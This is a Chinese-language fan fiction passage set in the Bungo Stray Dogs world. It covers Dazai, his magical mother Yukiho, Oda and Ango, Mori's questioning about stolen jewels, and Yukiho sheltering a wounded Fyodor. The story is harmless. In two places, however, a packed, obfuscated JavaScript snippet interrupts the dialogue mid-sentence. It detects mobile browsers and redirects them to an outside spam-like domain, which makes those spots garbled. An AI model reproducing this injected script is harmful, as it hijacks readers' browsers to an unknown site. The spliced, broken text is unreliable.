20.开局一只宰20 这是一间深藏在地下的狭窄酒吧,地上堆满了杂物,穿着酒红色马甲的调酒师兢兢业业地擦拭着酒杯。 太宰穿过缭绕的烟雾走进了酒吧,在楼梯转角处就看见了深红头发的唯一的客人坐在吧台边。 “哟,织田作,今天可真早啊”,太宰轻车熟路地走到他身边坐下,托着下巴看了一眼琳琅满目的酒,“唔,今天点杯……番茄汁好了”。 想起前几天深夜喝酒溜回家却被雪穗堵在门口的惨痛回忆,太宰临时收回了点酒的念头。 为了一杯酒吃一周的素可不是什么划算的事情。 织田作之助看见太宰手里的番茄汁略感诧异:“一会儿有工作?”。 最近的port mafia宝石被窃的事件连他这个底层人员都有所耳闻,人员死伤惨重,货物却几乎没什么损失的诡异袭击事件。 “不……最近得了一种一到晚上喝酒就会浑身长疙瘩的病”,太宰弹了弹玻璃杯,坐在椅子上转了一圈。 “原来是这样,还有这种病啊,真是辛苦”,织田作之助点了点头,拿起酒杯抿了一口。 “不管怎么说都不太可能吧,织田作先生不要什么都相信啊!”灰色西装带着圆框眼镜的青年提着公文包走了进来,“老板,还是老样子”。 “安吾看起来好像很久没休息了呢~”,太宰往后仰着头看向坂口安吾,“最近夜晚加班的任务这么多吗?” 坂口安吾刚把公文包放下准备吐苦水时,看见了太宰面前摆着的番茄汁,整个人都掉了个颜色,神情恍惚地说:“原来port mafia里的传言竟是真的吗?” “什么传言?”太宰和织田作都好奇地转头看向他。 安吾取下眼镜用纸巾擦了擦,戴上后再看了看太宰面前的番茄汁,面色复杂地说: “传言准干部太宰大人被水鬼上身,爱上了摸鱼,最近入水的频率大大降低不说,还绝不加班到点就走。 当然也有另一批人说看见太宰君经常和一名神秘女子一起进餐,怀疑太宰君……恋爱了……” 最后几个字说得尤为艰涩,仿佛是遇到了什么难以理解的事情一般。 太宰听见安吾的话闷声低笑起来,织田作露出一脸明悟的表情:“太宰也到这个年龄了啊,怪不得戒酒了”。 “噗嗤——”太宰捂着肚子笑出声来,“真有意思哈哈哈,呐呐~还有没有别的说法?” 安吾瞪大眼睛看着太宰:“太宰君竟然不反驳吗?” 太宰正了正神色,一脸严肃地说道“安吾你说得对,这些流言一定得尽快肃清,要是被那位知道我们被谣传为恋爱关系,port mafia从上到下都会被抓起来吊着打一顿的”。 “什么?!那位是?”安吾暗中握紧了手,横滨什么时候有这么强大的存在了?还和太宰君关系匪浅。 从刚才起就若有所思的织田作像想起来什么一样,敲了敲桌子略带困惑: “啊,如果是那位的话,我大概知道是谁了,但看起来不太像太宰口中会做出那种事情的人啊?” “诶?织田作先生知道太宰君说的是谁吗?” “诶?织田作居然见过她吗?” 太宰和安吾几乎是异口同声地问道。 “啊,如果是那位经常穿白色和服,和太宰很相似的那位女性的话,我的确是见过的”,织田作目光悠远,回忆起了他们见面的场景。 —— 一周前 被port mafia派去保护港口船运合作商,却被合作商的情妇挠了一脖子血痕的织田作颓丧地走海滨的小路上。 虽然在对方暴起攻击时阻拦得恰到好处,但合作商仍大感丢脸,强制以保护不力的借口要求换掉他,还克扣了此次任务的奖金。 叹着气的红发青年为自己收养的五个孩子的生活费感到困扰。 走过转角的时候,看见了一位撑着纸伞,穿着白色和服,浑身缠满绷带站在海边礁石上的女子。 看见女子倾身往前的动作,织田作来不及细想一路翻身跃下栏杆,冲至女子身后时骤然预见从右边袭来的攻击。 他侧身朝着左边闪躲的同时掷出手里的石头阻断了女子退向海边的动向。 下一秒他看见了女子拔刀的场景,绚丽的蓝色刀光遮盖了她的面容,织田作意识到面前的人并不普通,于是翻身停留在三步之外的距离举起双手,目光诚恳地看着对她说:“我没有恶意”。 雪穗见状驱散了手心里凝聚的一丝寒气,优雅地将伞换了个方向,露出了被遮盖的面容,看着眼前的红发青年扬了扬下巴,示意对方解释。 织田作看见雪穗的面容有些吃惊,瞳孔微微放大,啊,好像太宰…… “抱歉,我误以为您要做一些不好的事情,没有细想就冲了过来,是我考虑不周了”,织田作一板一眼地向雪穗道歉。 “啊,原来是这样,没关系,我没有轻生的打算,不过还是多谢你”,意外的是个好人呢,雪穗看着眼前略带尴尬的红发青年笑了起来。 “并没有什么值得感谢的,反而是我打扰了您”,织田作并不知道自己突兀的行为有什么值得感谢的地方。 雪穗笑着摇了摇头,“是感谢你这份难得的善意,如果我没猜错,你是port mafia的成员吧?” “的确如此”,笑起来更像太宰了,织田作的思维游离了一瞬,不,还是不太一样…… “在血腥与暴力的黑暗世界里,存在你这般毫不犹豫出手救人的人,本身就是一件值得称赞的事情,而我在今天幸运地看见了黑暗中绽放的光明,难道不值得感谢吗?” 阿治在死亡与黑暗里找寻的,是这个吗? 日光被她白色的和服反射,刺痛了织田作的双眼,他快速垂下眼睑:“并没有您说的那么伟大,我只是一个普通的底层人员罢了”。 雪穗捂嘴一笑,并不反驳,偏头看向了海面,似乎在等待着什么。 “嗯……您站在这里是……?”犹豫着开口的织田作咽下了后续的词句,脑袋上的呆毛摇了两下,后知后觉感到自己似乎有点冒犯,萍水相逢的人并没有回答这种私人问题的义务。 但雪穗并不在意,随口回答道:“在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14927025|159528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 等待潮水将世间无与伦比的宝物送到我面前”。 无法强制阻止阿治入水,只好每天推算阿治入水的时间地点,早早地站在下游等着将他从水里捞起来的雪穗如是说。 虽然行为占卜术也很难直接占卜出阿治的行动,但可以占卜他的部下什么时间在什么地点打捞起阿治,在此之前截胡就好啦~ 织田作被雪穗温暖的笑意感染,听见她语气中的深沉的情感,不由自主地跟着笑了起来:“您一定会如愿的”。 “当然”。 —— 织田作收回目光放下了酒杯,“不知道她有没有等到她口中的珍宝”。 原本托着腮较有兴致听着织田作讲故事的太宰,不知道什么时候收回了手,虚握着桌上的玻璃杯垂着眼睛安静地坐在位置上,连呼吸都变得微不可闻。 安吾意犹未尽地感叹着:“真是浪漫的相遇,织田作先生没有询问那位女性的名字吗?” 话音刚落,安吾霎时感到背脊一凉,四周的空气几乎凝固,他用力咽了咽口水,脖子咔咔咔地扭向太宰的方向,对上了太宰黑沉的、盈满森然杀意的眼神。 “太、太宰君?”安吾张嘴想要说些什么,却被丝毫没有感觉到气氛骤变的织田作打断。 “不能这么说吧,对太宰君的长辈说出这种话未免也太失礼了”。 “长—?辈——?”安吾眼神涣散,‘恋爱’、‘浪漫’、‘名字’等诸多字眼从他脑海中划过,他感到窒息,大概率自己是见不到明天的太阳了,遗言该留什么呢? 太宰一眼就看出安吾在想些什么,冷哼一声收回了视线,被太宰的冷哼吓得浑身一抖刚回过神来的安吾,就听见太宰带着恶意的低语: “没错哦,你撺掇织田作去搭讪的美丽女性,是我的母亲哦~” 母亲哦~~母—亲——哦—— 脑海中回荡着这三个字的安吾呆愣在椅子上,彻底失去了颜色,完了,可能连写遗书的机会都没有了…… “原来如此,和我的预感一样”织田作在太宰的话语中肯定了自己的猜测。 “诶?织田作是怎么猜到的?你们只见过那一次吧?”太宰凑到织田作面前,目光闪烁好奇地看着他。 “啊,是因为她说话的语气”,那句话中充斥着最纯粹与珍视的情感,很容易就联想到了母亲的身份,“这么说来,她说的珍宝就是……” “啊啊啊啊!快十点半了,我有宵禁,先回家了,两位下次再会……”话还没说完的织田作被太宰强势打断。 太宰动作夸张地抬起手腕看了看手上不存在的表,扔下几张零钱跳下凳子飞速跑了出去,留下半句散在空气中的告别。 安吾在太宰消失后抹了抹头上的冷汗长舒一口气,太好了,今天的命保住了…… “织田作先生你刚才说了什么,太宰君怎么就突然离场了?”一直沉浸在震撼中的安吾并没听见他们最后的对话。 织田作拿起酒杯抿了一口,语气淡淡地回复道: “太宰说他有宵禁,所以要回家了”。 “哈——?!宵禁?!” 21.开局一只宰20 太宰从酒吧出来后,散漫地走在暗巷里。 织田作的话语到底在他心里留下了痕迹,他有些烦乱的抛接着一颗红色的宝石,在街巷的路灯下折射出斑斓的色彩。 这段时间里,雪穗就像是游戏里定点刷新的NPC一样,经常出现在他的任务现场和他的入水途中。 太宰还记得她第一次出现在port mafia械斗现场的景象。 他站在枪林弹雨之中,期待着偶然飞袭而来的流弹给予他梦寐以求的死亡,部下与敌人的哀嚎,生命的消散在他眼里都是虚无。 在这一片虚无之中,她穿着纯白无暇的衣服,撑着纸伞走过满地荆棘一般蜿蜒的血迹,不断倒下的人影在她眼中不过是风吹野草发出的动静。 她应当是使用了隐匿身形的魔法,在爆炸的火光中向他走来,这世间仅有他一人能够看见眼前的场景。 橘色火焰点燃了她的裙摆,像走进人世间净化所有罪恶的神明,极致的白与艳丽的红冲击着他的视线。 雪穗走到他面前,将他笼罩在纸伞的范围里,隔绝了一切潜在的伤害。 “为什么要站在这样危险的地方?” 雪穗和他并肩站在一起,看着眼前血腥与暴力共舞的肃杀场面,“我很担心你,阿治”。 或许是纷飞的枪炮声刺激了他的感官,太宰的神经跳动起来,“我以为靠得近一点或许就能看清楚了,但很可惜,什么都没有”。 “如果在黑暗中看不清,那去别的地方看看如何?” 在死亡中绽放的生命光辉太过珍稀,她并不希望自己的孩子眼里只有脆弱的生命与血腥的日常。 但太宰只是歪头思索了几秒就否定了她的提议:“暂时不了,我对port mafia的工作还没有彻底丧失兴趣呢,在此之前,勉勉强强先待在这里吧”。 雪穗总会对他妥协的,此刻也一样,她只好陪着太宰沉浮在黑暗世界里,竭尽全力为他撑起了一把保护伞。 从他最近受伤和自杀频率的大幅下降就能看出来,连带着他部下的死伤率都降低了。 还是有些惹眼了,太宰将红宝石揣进衣兜里,摩挲了一下衣兜里的那张照片,将宝石事件的原委在脑子里细细捋了一遍。 今日森先生的传召倒是在他的意料之内,不过……官方吗? —— 正午时分,首领办公室 办公室原本通透的玻璃都被黑色的铁板覆盖,室内没有一丝阳光。 森欧外坐在黑色的皮椅上,红木办公桌上的烛灯忽明忽暗,皱着眉头翻看着手里的纸质报告。 “太宰君,就连你也查不出袭击者的身份信息和藏身之处吗?”他眼前的少年站在一片漆黑的首领办公室里,盯着烛火有些走神,森鸥外不由得提高了嗓音。 “——太宰君?” “啊首领,说起来这次袭击事件对port mafia没什么影响吧,出口欧洲的宝石完全没有受损,也没有调换的痕迹,一周以来也没有后续的纷争,死掉的守卫人员还没有和我出一次武装任务死掉的人多,还有什么查下去的必要吗?” “这可不像你会说出口的话,你在隐瞒什么?太宰君?更何况,port mafia的规矩希望你并没有忘记”。 受到的攻击定要加倍奉还,不允许有任何挑衅port mafia的人全身而退。 “查明真相,百倍反击,对你来说并不难吧?” 在三天之内就让影蛇组自相残杀,不费吹灰之力将其蚕食,更不用说此前龙头战争攒下的功绩,要不是年纪太轻,加入port mafia的时间尚浅,太宰已经升为干部了。 这样心智手腕都如此令人胆寒的少年,会整整一周查不出任何信息吗? 森鸥外的眸光逐渐加深,自那位和服女性出现在太宰身边后,他的这位好学生似乎有什么地方不一样了。 太宰耷拉着脑袋无精打采地嚷嚷,“是为了你好啊森先生,怎么看都是陷阱吧,只会躲躲藏藏的鬃鼠唯一留下的线索指向了一个port mafia都无法全身而退的地点呢~” “哦?看来不是地下世界的波澜了,port mafia都无法招惹的庞然大物……是想要让port mafia和官方对上吗?”森鸥外双手交叉摆出了倾听的姿势。 “渔港公园”,太宰甩出了一个地点,哪怕森鸥外的表情几乎没有任何变动,但太宰仍敏锐地察觉到了气息的改变,他继续说道: “据说此前就是一片普通的渔场,大约五六年前发生一场自杀式袭击案,后改建公园,于三年前完工,对此我也去查了一下那场案件,奇怪的是——” 太宰拖长尾音观察着森鸥外的表情,森鸥外仍是那副认真倾听的表情,仿佛此事和他一点关系都没有。 太宰没有在森的脸上获得任何有效信息,无趣地快速说完了后续的事情: “什么内情都查不到,一片空白,所有的痕迹都被官方抹除了,甚至我查资料的时候还有官方的信息人员对我进行反追踪,我可不想因为探听政府机密被抓起来呢~” “这就是你中断此次任务的原委吗?” “是啊,继续探查一定会被官方盯上的,那个地方的密保等级可不是一般的高,既然是敌人特意设下的陷阱,没什么继续查下去的必要吧”。 “我明白了,‘渔港公园’的事件我也有所耳闻,据说是‘亡灵侦探’的首秀舞台,引起这位侦探的注意可不是什么明智之举,那么就此停住吧,将牺牲人员的后事处理好”。 太宰冷笑一声继续说道,“森先生就这样同意让不知名的敌人继续潜伏在暗处?难道不担心激怒对方后引起反扑吗?” 森鸥外深深叹了一口气,装模作样地说:“宝石任务已经全权由你负责了,不再继续探查也是太宰君做出的决定,若此后出现任何问题,也应当由太宰君负责,不是吗?” 太宰翻了个白眼提起了另一个话题:“对了,亡灵侦探的首秀?森先生是怎么知道的,暗网中都完全查不到呢”。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14936004|159528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 那张侦探的报纸上的谜题可不是一般人能想出来的。 “毕竟事件闹得很大,更何况我作为医生时接诊的客人也会谈及一些往事,怎么?太宰君对这位侦探很好奇吗?” “那可是‘亡灵’诶!真想知道人死后是什么样的,既然那个侦探可以和亡灵沟通,岂不是知道很多漂亮干脆的死法?!真想认识一下啊……” —— 太宰收回思绪,站在家门口停下了脚步,借着雪穗给他留下的那盏夜灯掏出了一张照片。 是在黑市出售七颗宝石的黑袍人的照片。 早在仓库袭击事件的第二天,太宰就收到失踪宝石的溯源调查。 是一个穿着黑色长袍带着兜帽模糊不清的人影在黑市以不到宝石十分之一的价格廉价抛售了七颗宝石。 宝石被地下组织收购后以保护费的形式层层上交,最终到了port mafia手里。 来路清晰,只有最初抛售宝石的人最为可疑。 这是唯一一张监控抓拍的影像记录,哪怕在移动中产生了部分残影,太宰也一眼就判断出了照片里的人是谁。 朝夕相处的人无论变换成什么模样都能轻易认出。 那是雪穗,他的母亲。 太宰站在门口将手里的照片反复翻转,微凉的夜色从他的裤脚攀爬向上,直到将周身都浸入了寒意。 他将自己隐入了阴影中,连带着模糊的思绪也遁入了黑暗里…… 从一开始他就知道雪穗抛售宝石的目的是单纯地为了那笔钱,用来维持他们的生活开销。 毕竟在自己交出工资卡的时候他的母亲可是当场黑脸:“怎么?在阿治心里,我是什么需要靠孩子打黑工养家的垃圾大人吗?” 此后他再也没提及过金钱的话题……得想办法给他母亲送点钱了,估计这几颗宝石卖的钱也没剩多少了。 ‘宝石劫匪’不会愚蠢到搬走所有宝石后,将自己的目的公之于众,只拿出雪穗出售的七颗宝石后,再将剩余宝石归还,所以将宝石扔到一号仓库给他提供线索的明显是第二方。 但这提供线索的思维逻辑与他自己过于契合这一点可不太妙,就好像暗地里给他递线索的是他自己一样,“简直就像是败犬一样啊……” 不过今天倒是得到了‘渔港公园’和亡灵侦探有关的消息,真好奇森先生的情报来源呀~ 此前在信息室拿出来的那张剪报上的谜题遛了他大半个月,俄罗斯套娃一样解出一个地点后,在那儿还有一个新的谜题。 太宰在最后指向的爱丽零食屋的货架背后,找到一张充满嘲讽的纸条: ‘既然能找到这里,那就勉强承认你比其他人聪明一点,一点哦~但你也不过是个稍微聪明一点的笨蛋,还不是被名侦探牵着鼻子走了,找错方向啦笨蛋!略略略(鬼脸吐舌)’ 好挑衅!太宰咧嘴笑了起来,燃起了斗志,‘亡灵侦探’? 把你的身份扒出来后再看看是子弹硬一点,还是你的脑袋硬一点好了。 22.开局一只宰21 雪穗的魔药店铺开展计划进行得并不顺利,想要在横滨做生意本就不是一件容易的事情,更何况是买卖具有奇特能力的药水。 货架上的魔药也不是什么威力强大的高品质药剂,更像是小朋友之间恶作剧里的玩笑。 例如一些‘一滴让你聪明药’、‘一口回血汤’、‘随心变变变’、‘让你睡得香’之类的标签名。 别说客人了,连招牌都没有的这间店铺几乎都被来往的人当成了私宅,偶有几个好奇的路人走进来,也都一言不发地用古怪的眼神打量着介绍药剂的雪穗,很快就掉头走了出去。 这么久以来竟然一单都没有卖出去! 雪穗无聊地趴在桌上,将装着月光磷粉的玻璃小瓶当成指尖陀螺旋转,唉声叹气: “怎么会这样,难道人类就没有好奇心吗?不会要把复活药剂做出来才能打响名气吧?” 嘴上叨叨的雪穗当然知道这是不可能的,以当前的情况来看也只能偷渡一些低等魔法材料,能做出药剂已经是她天赋异禀了。 视线扫过墙面上的挂钟,雪穗从抽屉里拿出一把田中太太递给她的传单,快速翻找着,“啊,是这家超市!今天鸡蛋打折,去买一点回来吧”。 雪穗扔下个隐匿魔法、抓起购物袋就出门了。 这样就不需要将店铺开开关关了,魔法对阿治又不管用,不影响他回家,但是套上隐匿魔法就不会有陌生人误入了。 雪穗掐着时间走到了超市门口,门口已经排起了长队,气氛格外严肃。 队伍里提着菜篮的中年妇女们你推我攘,每个人都想在那个至关重要的时刻迈出关键性的第一步。 啊,好多人……看着这激烈的争抢场面,雪穗并没有意识到问题的严重性,站在人群之外翻看着传单。 当超市限时特价的号角吹响时,前方的人群一窝蜂涌了进去,通道变得拥挤不堪,还传来了此起彼伏地碰撞和责骂声。 雪穗慢悠悠地坠在人群后走进了超市,她并不想和那群主妇们挤在一起,打算先去零食区给阿治补充一些小零嘴,再转道去买生鲜。 刚走进零食货架的拐角处,就和拿着打折鸡蛋从另一个方向走来的红发男人对上了视线。 红发男人看见雪穗有些吃惊,没想到会在这种场合见到她,但织田作还是认真地向雪穗打了个招呼:“夫人您好,又见面了,我是织田作之助”。 “啊是你啊,好巧,我叫雪穗,你这是……”雪穗看着织田作凌乱的红发和风衣上被撕扯的痕迹略带迟疑。 织田作察觉到雪穗的视线,淡定地阐释了一下方才和几位中年妇女争抢最后一盒打折鸡蛋的战况。 “雪穗夫人叫我织田就好,不得不说那几位抢购鸡蛋的夫人手劲很大,能拿到这盒鸡蛋已经是侥幸了”。 织田作凌乱的衣领还残留着指甲的抓痕,捧着战利品一般托住了鸡蛋。 “最后……一盒?”雪穗迟疑地重复了一遍,“你说,这盒鸡蛋已经是最后一盒了?” “是这样的,雪穗夫人”,织田作语调平稳地表示肯定。 雪穗内心哀悼逝去的打折鸡蛋,主妇们的战斗比她想象的更加惨烈,看见织田作篮子里的儿童零食,随口问道:“织田先生家里也有小孩儿吗?” “是的,家里有五个孩子”。 “五个?!真是太厉害了!有什么教养小孩儿的经验可以传授一下吗?” “是收养的孩子,相处不到一年,谈不上什么经验,更何况我家最大的孩子也只有六岁,没办法适用到太宰君身上吧?” 伸手拿向蟹肉罐头的动作变得卡顿迟缓,雪穗转头看着织田作,神色莫测,似乎在判断他的身份。 都是port mafia的成员,认识阿治是有可能的,但能够这么快将他们联系起来判断出真实的关系,这个人比想象中更加聪明也更加敏锐。 “你怎么知道阿治和我的关系?”雪穗想知道他如何判断出来,就直接开口询问了。 “是太宰君说的”,并没有什么特殊智慧的织田作天然地回答。 再说了,和太宰君如此相似的外貌和打扮,联系起来也并不是一件困难的事情。 雪穗有些震惊,她没有想到阿治会主动和别人坦诚他们之间的关系,还以为阿治会搞一些恶作剧说什么‘影分身’、‘性转二重身’之类的内容。 “你和阿治是朋友吗?” 朋友?不,只是碰巧在一个屋檐下避雨,漫无目的地闲聊躲避时间的路人,他们三人默契地站在各自的界线之外,彼此共享着一段短暂的宁静罢了。 更何况,在port mafia里有着不成文的规定,不去窥探他人的内心和私人生活。 这还谈不上什么友人,织田作想要死守这条界线否认时又感到不妥,皱着眉头想着措辞。 没有等到回复的雪穗开口打断了他的纠结,“阿治可不会随随便便将我们的关系透露给无关紧要的人,既然是阿治的朋友,明天来家里做客吧”。 雪穗浅笑着发出邀请,也不等织田作答应,将写着地址的便签扔进他的购物篮里,提着零食转身走了出去。 织田作看着雪穗的背影沉默了一会儿说:“那就叨扰了”。 似乎有什么东西正在逐渐崩塌,但他并不认为是坏事,因此没有去阻止,顺应并期待着意料之外的发展。 * 没有买到计划中的打折商品,雪穗垂头丧气走在回家的路上。 在进入暗巷的时候,她闻到了一丝微弱的血腥味,越靠近店铺,血腥味越发浓郁。 雪穗提着手里的购物袋,自搬家以来几乎没有在附近遇到过械斗,过于平淡的生活消磨了雪穗的警惕心,突然在家门口闻到血腥味还真有点不习惯。 她走进暗巷,一路上都非常安静,安静到几乎死寂的地步。 雪穗站在隐匿魔法覆盖范围的边界,并没有发现什么异常,那这血气?!是阿治?! 她陡然抬眼看向店铺的方向,手里的购物袋‘啪嗒’一声滑落在地。 雪穗慌张地快步跑了进去,一路上的墙面与地面石砖上都洒落着黏腻的红色液体,她浑身僵硬地冲进店铺,看见了一个仰面倒在地上的少年。 少年裹着深色的长款斗篷,斗篷几近破败,满是灰痕,内里的衣衫已经看不出原本的颜色。 腰腹蔓延的鲜血浸染了地面,他头上戴着的白色毛毡帽沾满了硝烟与血气,气息微弱昏迷在雪穗的店铺内。 意识到不是阿治的瞬间,雪穗不着痕迹地松了一口气。 她来不及细想少年是如何突破隐匿魔法进入到店铺,小心翼翼地揭开腰腹的衣带为他处理伤口,喂他喝下了治疗药水后将他挪到沙发上休息。 店铺里昏迷的少年苍白的面容让她想起博物馆里见过的天使残像。 雪穗犹豫了一下还是解下了少年的斗篷和帽子,洗净烘干,站在门口用魔法处理了这一路上的血迹,转身进屋时撞进了一双深紫色的眼眸。 少年不知道什么时候清醒的,正一瞬不瞬地看着雪穗,眼底流淌着不知名的神色。 看见她转身后,少年扬起一个虚弱苍白的微笑,想要开口说话时低咳了起来。 雪穗急忙走过去将他扶起来靠在自己肩上喂了一点水,顺手将叠好的斗篷和毡帽放在了他的手边。 少年靠在雪穗怀里平复着呼吸,低垂的眼睑盖住了他瑰丽的紫色眼睛。 她看不清少年的眸色,不知为何感到些许遗憾,抬手揉了揉少年黑色的碎发,用手背贴着他的额头感受了一□□温。 “没有发烧就好,你安心休息,在这里没有人会伤害你”。 在雪穗伸手触摸到他的时候,他仿佛受到了极大的冲击,浑身僵硬了一瞬,指尖微微颤抖,不到一秒的失控中就已经调整好了自己的状态,放松身体靠近雪穗哑声问道。 “您不担心我是坏人吗?” “啊,不知道为什么不希望你受伤,下意识就这么做了”,雪穗将少年扶起来靠着背垫,正面与他对视。 少年感受到伤口不同寻常的恢复速度,若有所思地看着雪穗,露出一个乖巧的笑容,“感谢您的帮助,好心的女士”。 “要好好保护自己啊,不要太相信陌生人了”这个孩子和阿治有几分相似,雪穗看见他浑身染血的模样动了恻隐之心,认真地告诫着对方。 听见前半句时,少年神情恍惚,带着一丝缅怀与追忆,后一句话骤然把他拉回了现实,他有些困惑,好似没有听清一般问道:“您说什么?” “我说,不要相信陌生人啊,在横滨遍地都是拿着枪的坏人,要有警惕心”。 “坏人?您是如何定义‘坏人’的呢?”水汽中浮现着少年骤然收缩的瞳孔。 “就是那些不怀好意地想要伤害你的人,永远不要低估人性的恶”。 少年垂着脑袋看不清神情,周身温软的气质变得森冷,带着刀割般的冰冷 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小丑打扮的白发少年蹦蹦跳跳地绕在他身边,手里把玩着窃听器的残片,兴奋地询问着:“呐呐~费佳,她是你要找的人吗?看起来没什么特别嘛~” 费奥多尔垂眸俯瞰着脚底下的街道,日光将他脚下的影子拉长,宛如死神的镰刀,不带一丝温度的字句飘散在寒风里: “不、她是赝品”。 那就一切都按原计划进行吧。 * 太宰踩着夕阳溜达回家,走到暗巷的时候发现巷子里异常干净,一看就知道不久前才进行过清洁。 而能够做到不留痕迹地一键刷新,除了他的母亲也没有别人了。 不过他的母亲也不是什么心血来潮将整条小巷纳入打扫范围的人,加上他命令自己的部下尽可能远离这条小巷,连port mafia都绕道走的地方,其他帮派也不敢过来,更不会有不长眼的人冲进来了。 那么发生了什么呢?太宰思维逐渐发散,三步并两步地走回了家。 太宰推开家门没有发现任何异常,雪穗如往常一样,从厨房探出脑袋确认他有没有多出新的伤口。 眼睛弯弯笑着说今天的晚餐是天妇罗乌冬面,还给他补充了零食柜的库存。 太宰却并没有像往常一样扑过去让雪穗给他加餐,而是神情严肃地抽动鼻子嗅闻了空气,仿佛有什么不同寻常的气味。 他快步回到房间拿出了窃听装置,回放今天店铺的录音,雪穗出门后不久就听见‘刺啦——’一声,店铺里的窃听器被损坏了。 雪穗看着太宰和往常不一样的表现,捞起锅里的汤面后擦了擦手,走到他房间门口敲了敲门。 还没问出声,太宰就推开了房间门,紧绷着脸问道:“今天有客人进入店铺吗?我有一种非常难受的、感觉家里到处都被老鼠爬过一样的恶心感”。 “唉,说起来,也不知道为什么店里都没有客人,是我的商品没有吸引力吗?”雪穗愁眉苦脸开始考虑转行的事情。 建议将魔药名称改成那种恶作剧的模样,根本就不可能会有人来买的太宰有些心虚,但不多。 “您还没有回答我的问题呢”,太宰摆出一副势要拿出一个说法的表情。 “救了一个奇怪的孩子,他看起来好像在被人追杀,我给他包扎了伤口后他就走了”,雪穗直觉他和太宰的相性不合,便没有详细阐述下午发生的事情。 “孩子?”太宰以为雪穗口中的孩子也就十岁以内,将其归为棋子后盘算着背后之人的意图。 但有些地方说不通,啊……先前的假设有哪里不太对…… “对了,我邀请了织田先生明天来家里吃晚饭哦”,雪穗半响没等到太宰的回应便提起了白天在超市遇见织田作的事情。 “织田先生?织田作吗?你……你们已经发展到可以邀请回家的关系了吗?!”被安吾带偏思维,一瞬间联想到不妙场景的太宰面色痛苦地吐魂,将先前的思绪抛到脑后。 “哈哈哈,说什么呢,是作为你的朋友邀请来的,你们在我眼里都还是孩子呢~”雪穗被太宰的话语逗笑,也不知道阿治的脑袋里都在想些什么。 太宰面色扭曲了一下,心里狠狠给安吾来了几刀,一时并没有反驳‘朋友’的说法,而是在雪穗的否认中无意识地松了一口气: “那就把安吾也一起叫来吧,我一定会好好、招待、他!” 23.开局一只宰22 翌日傍晚 暮色将暗巷切割成深浅不一的色块,织田作提着访礼走进了暗巷,还没走多远就看见了焦虑地在巷子里来回踱步的安吾。 安吾穿着正式的灰色西装,公文包金属扣与怀表链在阴影中嗒嗒作响。 “安吾,晚上好,你怎么在这里?” “织田作先生!你终于来了,太宰君让我在这里等你,有项机密任务需要我们两人协同”。 安吾接到太宰电话后一头雾水,但在准干部的言语威胁下还是将手里的工作推后,马不停蹄地赶了过来。 “机密任务?我并没有接到什么任务”,织田作语气茫然。 “什么?那太宰君说的是……?” 暖黄的路灯恰好在此时亮起,照亮墙头摇晃的漆黑衣摆。 “当然是一起来我家吃饭的任务啦”,墙头飘来轻快的声音,太宰晃着腿坐在砖墙上,绷带从袖口探出一截,不知道看了他们多久。 安吾的公文包"啪"地砸在地上,这个在拷问室都面不改色的情报员,此刻结结巴巴地重复道: “吃……吃饭?!” 去干部候选人家里吃饭?!太宰君终于还是决定对他出手了吗?这不会是最后一顿晚餐吧?! 安吾瞳孔地震,受到严重惊吓,整个人几乎石化当场。 “哦,是这样,我确实要去太宰家里做客,那安吾就和我一起去吧”。 织田作点点头表示自己知道了,弯腰捡起公文包,用眼神示意安吾跟上。 “诶?诶?织田作先生你不会……原本就要去、去……吧?” 离奇的任务内容根本说不出口,这怎么能坦然接受啊?!那可是!太宰!的家! port Mafia高层就这样轻易暴露住处,怎么看都有问题吧! 安吾恨不得立刻摇出织田作脑子里的水,让他清醒清醒。 “没办法啊,已经答应雪穗夫人了”,织田作表情淡然地继续抬步向前,对着太宰点了点头,“那就由太宰带路好了”。 太宰闷笑出声,安吾的表情实在是太精彩了,他都还没添油加醋就已经宕机了,真是不枉他特意从家里跑出来看热闹。 “……雪穗夫人……是?”不过一周没去lupin酒吧的安吾感觉自己错过了几百集剧情。 虽然猜到了织田作先生嘴里的雪穗夫人是谁,但他仍惊恐地深吸一口气以一种看勇士的眼神看向织田作,仿佛对方下一秒就要英勇就义了。 不知道何时从墙头翻下来,幽魂一样坠在安吾身后的太宰,幽幽地靠近安吾耳旁低语:“没错哦,是我的母亲哦~” 与上次在酒吧里一模一样的台词瞬间勾起了安吾的回忆,一种因为自己知道太多秘密,马上就要被灭口的死亡预警袭来,冷不丁打了一个哆嗦。 安吾的脑内小剧场不断进行,太宰在后面几乎要憋不住笑。 四五步的时间里,安吾已经快进到‘既然是最后一餐那就无所谓了,破罐子破摔吧’的安详表情,能得到port mafia准干部的家庭住址和家属情报也算不亏。 什么啊?!这不是亏大发了吗?谁要这种情报啊?! “哈哈哈哈哈”,太宰一眼就能把安吾的想法猜得七七八八,看着安吾的表情变来变去、越来越精彩,终于止不住地笑出声来。 安吾被太宰的笑声吓了一大跳,转头看向太宰,织田作十分淡定地问:“是遇到了什么好笑的事情吗?” “我没想到安吾是这种杞人忧天的性格呢,自己吓自己?” 安吾擦了擦头上的冷汗,一下子冷静下来后又感到火大:“倒不如说太宰君实在是太恶劣了,故意对我进行一些糟糕的暗示,会多想完全是你的错吧?” 他意识到太宰故意戏弄自己,让自己丢脸,一脸不爽地吐槽着。 “明明是安吾自己心理太脆弱了,怎么能怪到我头上呢?对吧织田作~” “是这样啊,那安吾你得训练一下了,作为情报人员这样可不行……” “啊啊!不要什么都附和啊织田作先生,我的心理可是很健康很坚强的!” 